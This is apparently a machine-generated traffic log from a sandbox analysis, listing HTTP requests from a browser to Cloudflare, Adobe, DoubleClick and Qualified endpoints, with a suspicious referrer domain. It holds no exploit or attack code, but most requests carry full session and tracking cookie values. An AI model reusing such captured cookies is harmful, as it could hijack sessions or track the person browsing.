OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DContact%252520sales%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_f
Source: global traffic	HTTP traffic detected: GET /page-data/app-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/plans/enterprise/contact/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DContact%252520sales%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22
Source: global traffic	HTTP traffic detected: GET /page-data/app-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%223%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760795297626%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729259297626%22%2C%22e%22%3A1760795297626%7D%2C
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _biz_nA=4; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259298389\|2\|1\|bat.bing.com/p/insights/c/u; _biz_pendingA=%5B%5D; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261162; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=ba2581a6-cb0d-4efb-af0a-31c06dac0374 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1998817326 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /page-data/under-attack-hotline/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/plans/enterprise/contact/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _biz_nA=4; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259298
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1569666314 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=955743414 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cable?wv=9&token=37pXYrro6wCZbsU7&vu=c1910c9b-f2a2-4705-8fc0-5ba97f36ebbe&wu=e94968ef-2552-4e4d-90d8-70a75875c7ad&ca=2024-10-18T13%3A48%3A12.870Z&tz=America%2FNew_York&bis=5&referrer=https%3A%2F%2Fbookingadocel.com%2F&pv=1&fv=2024-10-18-65af8c0735&iml=false&ic=false HTTP/1.1Host: ws6.qualified.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://www.cloudflare.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: cgvQaWx7/VmycmRP8fba0w==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsSec-WebSocket-Protocol: actioncable-v1-json, actioncable-unsupported
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _biz_nA=4; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259298389\|2\|1\|bat.bing.com/p/insights/c/u; _biz_pendingA=%5B%5D; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261162; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=f0f8c6a2-45bf-4d03-bb3e-da270591437e HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
